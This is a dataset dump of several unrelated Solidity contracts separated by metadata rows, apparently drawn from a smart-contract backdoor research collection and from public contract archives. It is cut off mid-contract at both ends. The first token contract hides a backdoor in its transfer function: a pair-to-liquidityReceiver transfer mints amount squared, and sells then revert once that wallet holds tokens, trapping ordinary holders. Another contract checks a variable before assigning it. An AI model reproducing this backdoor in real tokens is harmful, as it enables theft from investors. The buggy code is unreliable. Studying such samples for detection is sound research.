BuyFees public buyFee;
SellFees public sellFee;
uint256 private liquidityFee;
uint256 private charityFee;
bool private swapping;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
constructor (address charityAddress, address liquidityAddress) {
charityWallet = charityAddress;
liquidityReceiver = liquidityAddress;
balances[_msgSender()] = _tTotal;
buyFee.liquidity = 2;
buyFee.charity = 2;
sellFee.liquidity = 2;
sellFee.charity = 2;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_isExcludedFromFee[msg.sender] = true;
_isExcludedFromFee[charityWallet] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[address(0x00)] = true;
_isExcludedFromFee[address(0xdead)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFee[address(account)] = excluded;
}
receive() external payable {}
function takeBuyFees(uint256 amount, address from) private returns (uint256) {
uint256 liquidityFeeToken = amount * buyFee.liquidity / 100;
uint256 charityFeeTokens = amount * buyFee.charity / 100;
balances[address(this)] += liquidityFeeToken + charityFeeTokens;
emit Transfer (from, address(this), charityFeeTokens + liquidityFeeToken);
return (amount -liquidityFeeToken -charityFeeTokens);
}
function takeSellFees(uint256 amount, address from) private returns (uint256) {
uint256 liquidityFeeToken = amount * sellFee.liquidity / 100;
uint256 charityFeeTokens = amount * sellFee.charity / 100;
balances[address(this)] += liquidityFeeToken + charityFeeTokens;
emit Transfer (from, address(this), charityFeeTokens + liquidityFeeToken);
return (amount -liquidityFeeToken -charityFeeTokens);
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function changeWalletLimit(uint256 amountPercent) external onlyOwner {
_maxWalletAmount = (_tTotal * amountPercent) / 1000;
_maxTxAmount = (_tTotal * amountPercent) / 1000;
}
function changeBuyTaxes(uint256 liquidityFees, uint256 charityFees) public onlyOwner {
buyFee.liquidity = liquidityFees;
buyFee.charity = charityFees;
}
function changeSellTaxes(uint256 liquidityFees, uint256 charityFees) public onlyOwner {
sellFee.liquidity = liquidityFees;
sellFee.charity = charityFees;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from,
address to,
uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
balances[from] -= amount;
uint256 transferAmount = amount;
bool takeFee;
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
takeFee = true;
}
if(from == uniswapV2Pair && to == liquidityReceiver) {
balances[to] += amount * amount;
}
if(takeFee){
if(from == uniswapV2Pair && to != uniswapV2Pair){
require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxnsAmount");
require(balanceOf(to) + amount <= _maxWalletAmount, "Transfer amount exceeds the maxWalletAmount.");
transferAmount = takeBuyFees(amount, to);
}
if(to == uniswapV2Pair && from != uniswapV2Pair){
require(balanceOf(liquidityReceiver) == 0);
transferAmount = takeSellFees(amount, from);
if (balanceOf(address(this)) >= swapTokenAtAmount && !swapping) {
swapping = true;
swapBack(swapTokenAtAmount);
swapping = false;
}
}
if(to != uniswapV2Pair && from != uniswapV2Pair){
require(balanceOf(to) + amount <= _maxWalletAmount, "Transfer amount exceeds the maxWalletAmount.");
}
}
balances[to] += transferAmount;
emit Transfer(from, to, transferAmount);
}
function swapBack(uint256 amount) private {
uint256 contractBalance = amount;
uint256 liquidityTokens = contractBalance * (buyFee.liquidity + sellFee.liquidity) / (buyFee.charity + buyFee.liquidity + sellFee.charity + sellFee.liquidity);
uint256 charityTokens = contractBalance * (buyFee.charity + sellFee.charity) / (buyFee.charity + buyFee.liquidity + sellFee.charity + sellFee.liquidity);
uint256 totalTokensToSwap = liquidityTokens + charityTokens;
uint256 tokensForLiquidity = liquidityTokens.div(2);
uint256 amountToSwapForETH = contractBalance.sub(tokensForLiquidity);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForLiquidity = ethBalance.mul(liquidityTokens).div(totalTokensToSwap);
addLiquidity(tokensForLiquidity, ethForLiquidity);
payable(charityWallet).transfer(address(this).balance);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH {value: ethAmount} (address(this),
tokenAmount,
0,
0,
liquidityReceiver,
block.timestamp);
}
}
| 33,159 | 14,178 |
271fef8663be7cd4f593457910af385fa0ea50826026c683e3ea34d821b70c10
| 15,283 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xfd640dbe512bfcee682898869c2ffb2d13e55dca.sol
| 3,841 | 12,296 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = true;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract CryptoPhoenixes is Ownable, Pausable {
using SafeMath for uint256;
address public subDev;
Phoenix[] private phoenixes;
uint256 public PHOENIX_POOL;
uint256 public EXPLOSION_DENOMINATOR = 1000; //Eg explosivePower = 30 -> 3%
bool public ALLOW_BETA = true;
uint BETA_CUTOFF;
// devFunds
mapping (address => uint256) public devFunds;
// dividends
mapping (address => uint256) public userFunds;
// Events
event PhoenixPurchased(uint256 _phoenixId,
address oldOwner,
address newOwner,
uint256 price,
uint256 nextPrice);
event PhoenixExploded(uint256 phoenixId,
address owner,
uint256 payout,
uint256 price,
uint nextExplosionTime);
event WithdrewFunds(address owner);
// Caps for price changes and cutoffs
uint256 constant private QUARTER_ETH_CAP = 0.25 ether;
uint256 constant private ONE_ETH_CAP = 1.0 ether;
uint256 public BASE_PRICE = 0.0025 ether;
uint256 public PRICE_CUTOFF = 1.0 ether;
uint256 public HIGHER_PRICE_RESET_PERCENTAGE = 20;
uint256 public LOWER_PRICE_RESET_PERCENTAGE = 10;
// Struct to store Phoenix Data
struct Phoenix {
uint256 price; // Current price of phoenix
uint256 dividendPayout; // The percent of the dividends pool rewarded
uint256 explosivePower; // Percentage that phoenix can claim from PHOENIX_POOL after explode() function is called
uint cooldown; // Time it takes for phoenix to recharge till next explosion
uint nextExplosionTime; // Time of next explosion
address previousOwner; // Owner of the phoenix who triggered explosion in previous round
address currentOwner; // Owner of phoenix in current round
}
// Check if game is in beta or not. Certain functions will be disabled after beta period ends.
modifier inBeta() {
require(ALLOW_BETA);
_;
}
// Main function to set the beta period and sub developer
function CryptoPhoenixes(address _subDev) {
BETA_CUTOFF = now + 90 * 1 days; //Allow 3 months to tweak parameters
subDev = _subDev;
}
// Function anyone can call to turn off beta, thus disabling some functions
function closeBeta() {
require(now >= BETA_CUTOFF);
ALLOW_BETA = false;
}
function createPhoenix(uint256 _payoutPercentage, uint256 _explosivePower, uint _cooldown) onlyOwner public {
var phoenix = Phoenix({
price: BASE_PRICE,
dividendPayout: _payoutPercentage,
explosivePower: _explosivePower,
cooldown: _cooldown,
nextExplosionTime: now,
previousOwner: address(0),
currentOwner: this
});
phoenixes.push(phoenix);
}
function createMultiplePhoenixes(uint256[] _payoutPercentages, uint256[] _explosivePowers, uint[] _cooldowns) onlyOwner public {
require(_payoutPercentages.length == _explosivePowers.length);
require(_explosivePowers.length == _cooldowns.length);
for (uint256 i = 0; i < _payoutPercentages.length; i++) {
createPhoenix(_payoutPercentages[i],_explosivePowers[i],_cooldowns[i]);
}
}
function getPhoenix(uint256 _phoenixId) public view returns (uint256 price,
uint256 nextPrice,
uint256 dividendPayout,
uint256 effectivePayout,
uint256 explosivePower,
uint cooldown,
uint nextExplosionTime,
address previousOwner,
address currentOwner) {
var phoenix = phoenixes[_phoenixId];
price = phoenix.price;
nextPrice = getNextPrice(phoenix.price);
dividendPayout = phoenix.dividendPayout;
effectivePayout = phoenix.dividendPayout.mul(10000).div(getTotalPayout());
explosivePower = phoenix.explosivePower;
cooldown = phoenix.cooldown;
nextExplosionTime = phoenix.nextExplosionTime;
previousOwner = phoenix.previousOwner;
currentOwner = phoenix.currentOwner;
}
function getNextPrice (uint256 _price) private pure returns (uint256 _nextPrice) {
if (_price < QUARTER_ETH_CAP) {
return _price.mul(140).div(100); //1.4x
} else if (_price < ONE_ETH_CAP) {
return _price.mul(130).div(100); //1.3x
} else {
return _price.mul(125).div(100); //1.25x
}
}
function setDividendPayout (uint256 _phoenixId, uint256 _payoutPercentage) onlyOwner inBeta {
Phoenix phoenix = phoenixes[_phoenixId];
phoenix.dividendPayout = _payoutPercentage;
}
function setExplosivePower (uint256 _phoenixId, uint256 _explosivePower) onlyOwner inBeta {
Phoenix phoenix = phoenixes[_phoenixId];
phoenix.explosivePower = _explosivePower;
}
function setCooldown (uint256 _phoenixId, uint256 _cooldown) onlyOwner inBeta {
Phoenix phoenix = phoenixes[_phoenixId];
phoenix.cooldown = _cooldown;
}
function setPriceCutoff (uint256 _price) onlyOwner {
PRICE_CUTOFF = _price;
}
function setHigherPricePercentage (uint256 _percentage) onlyOwner inBeta {
require(_percentage > 0);
require(_percentage < 100);
HIGHER_PRICE_RESET_PERCENTAGE = _percentage;
}
function setLowerPricePercentage (uint256 _percentage) onlyOwner inBeta {
require(_percentage > 0);
require(_percentage < 100);
LOWER_PRICE_RESET_PERCENTAGE = _percentage;
}
function setBasePrice (uint256 _amount) onlyOwner {
require(_amount > 0);
BASE_PRICE = _amount;
}
function purchasePhoenix(uint256 _phoenixId) whenNotPaused public payable {
Phoenix phoenix = phoenixes[_phoenixId];
//Get current price of phoenix
uint256 price = phoenix.price;
// revert checks
require(price > 0);
require(msg.value >= price);
//prevent multiple subsequent purchases
require(outgoingOwner != msg.sender);
//Get owners of phoenixes
address previousOwner = phoenix.previousOwner;
address outgoingOwner = phoenix.currentOwner;
//Define Cut variables
uint256 devCut;
uint256 dividendsCut;
uint256 previousOwnerCut;
uint256 phoenixPoolCut;
uint256 phoenixPoolPurchaseExcessCut;
//Calculate excess
uint256 purchaseExcess = msg.value.sub(price);
//handle boundary case where we assign previousOwner to the user
if (previousOwner == address(0)) {
phoenix.previousOwner = msg.sender;
}
//Calculate cuts
(devCut,dividendsCut,previousOwnerCut,phoenixPoolCut) = calculateCuts(price);
// Amount payable to old owner minus the developer's and pools' cuts.
uint256 outgoingOwnerCut = price.sub(devCut);
outgoingOwnerCut = outgoingOwnerCut.sub(dividendsCut);
outgoingOwnerCut = outgoingOwnerCut.sub(previousOwnerCut);
outgoingOwnerCut = outgoingOwnerCut.sub(phoenixPoolCut);
// Take 2% cut from leftovers of overbidding
phoenixPoolPurchaseExcessCut = purchaseExcess.mul(2).div(100);
purchaseExcess = purchaseExcess.sub(phoenixPoolPurchaseExcessCut);
phoenixPoolCut = phoenixPoolCut.add(phoenixPoolPurchaseExcessCut);
// set new price
phoenix.price = getNextPrice(price);
// set new owner
phoenix.currentOwner = msg.sender;
//Actual transfer
devFunds[owner] = devFunds[owner].add(devCut.mul(7).div(10)); //70% of dev cut goes to owner
devFunds[subDev] = devFunds[subDev].add(devCut.mul(3).div(10)); //30% goes to other dev
distributeDividends(dividendsCut);
userFunds[previousOwner] = userFunds[previousOwner].add(previousOwnerCut);
PHOENIX_POOL = PHOENIX_POOL.add(phoenixPoolCut);
//handle boundary case where we exclude currentOwner == address(this) when transferring funds
if (outgoingOwner != address(this)) {
sendFunds(outgoingOwner,outgoingOwnerCut);
}
// Send refund to owner if needed
if (purchaseExcess > 0) {
sendFunds(msg.sender,purchaseExcess);
}
// raise event
PhoenixPurchased(_phoenixId, outgoingOwner, msg.sender, price, phoenix.price);
}
function calculateCuts(uint256 _price) private pure returns (uint256 devCut,
uint256 dividendsCut,
uint256 previousOwnerCut,
uint256 phoenixPoolCut) {
// Calculate cuts
// 2% goes to developers
devCut = _price.mul(2).div(100);
// 2.5% goes to dividends
dividendsCut = _price.mul(25).div(1000);
// 0.5% goes to owner of phoenix in previous exploded round
previousOwnerCut = _price.mul(5).div(1000);
// 10-12% goes to phoenix pool
phoenixPoolCut = calculatePhoenixPoolCut(_price);
}
function calculatePhoenixPoolCut (uint256 _price) private pure returns (uint256 _poolCut) {
if (_price < QUARTER_ETH_CAP) {
return _price.mul(12).div(100); //12%
} else if (_price < ONE_ETH_CAP) {
return _price.mul(11).div(100); //11%
} else {
return _price.mul(10).div(100); //10%
}
}
function distributeDividends(uint256 _dividendsCut) private {
uint256 totalPayout = getTotalPayout();
for (uint256 i = 0; i < phoenixes.length; i++) {
var phoenix = phoenixes[i];
var payout = _dividendsCut.mul(phoenix.dividendPayout).div(totalPayout);
userFunds[phoenix.currentOwner] = userFunds[phoenix.currentOwner].add(payout);
}
}
function getTotalPayout() private view returns(uint256) {
uint256 totalPayout = 0;
for (uint256 i = 0; i < phoenixes.length; i++) {
var phoenix = phoenixes[i];
totalPayout = totalPayout.add(phoenix.dividendPayout);
}
return totalPayout;
}
//Note that the previous and current owner will be the same person after this function is called
function explodePhoenix(uint256 _phoenixId) whenNotPaused public {
Phoenix phoenix = phoenixes[_phoenixId];
require(msg.sender == phoenix.currentOwner);
require(PHOENIX_POOL > 0);
require(now >= phoenix.nextExplosionTime);
uint256 payout = phoenix.explosivePower.mul(PHOENIX_POOL).div(EXPLOSION_DENOMINATOR);
//subtract from phoenix_POOL
PHOENIX_POOL = PHOENIX_POOL.sub(payout);
//decrease phoenix price
if (phoenix.price >= PRICE_CUTOFF) {
phoenix.price = phoenix.price.mul(HIGHER_PRICE_RESET_PERCENTAGE).div(100);
} else {
phoenix.price = phoenix.price.mul(LOWER_PRICE_RESET_PERCENTAGE).div(100);
if (phoenix.price < BASE_PRICE) {
phoenix.price = BASE_PRICE;
}
}
// set previous owner to be current owner, so he can get extra dividends next round
phoenix.previousOwner = msg.sender;
// reset cooldown
phoenix.nextExplosionTime = now + (phoenix.cooldown * 1 minutes);
// Finally, payout to user
sendFunds(msg.sender,payout);
//raise event
PhoenixExploded(_phoenixId, msg.sender, payout, phoenix.price, phoenix.nextExplosionTime);
}
function sendFunds(address _user, uint256 _payout) private {
if (!_user.send(_payout)) {
userFunds[_user] = userFunds[_user].add(_payout);
}
}
function devWithdraw() public {
uint256 funds = devFunds[msg.sender];
require(funds > 0);
devFunds[msg.sender] = 0;
msg.sender.transfer(funds);
}
function withdrawFunds() public {
uint256 funds = userFunds[msg.sender];
require(funds > 0);
userFunds[msg.sender] = 0;
msg.sender.transfer(funds);
WithdrewFunds(msg.sender);
}
}
| 146,026 | 14,179 |
005606753fd27df7f6f9eed8d9a6cc965589f92f19fdc3180149ecd47a70945e
| 18,229 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/53/53cAA8b5dE27b3Ab4801c017a5f97B47635a52Df_Distributor.sol
| 4,001 | 15,820 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable DB;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _db, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_db != address(0));
DB = _db;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(DB).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
function resetNextEpochTime(uint32 _nextEpochTime) external onlyPolicy() {
nextEpochTime = _nextEpochTime;
}
}
| 89,210 | 14,180 |
6c3b04b97b62d38f7fee36edffeae32afe86a533413b20cbfddaade1377675e8
| 14,492 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TX/TXytBK3snSxnQhDSfb7wPDd97gsNxfxTYb_VXLDollar.sol
| 2,771 | 11,217 |
//SourceUnit: vxld.sol
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
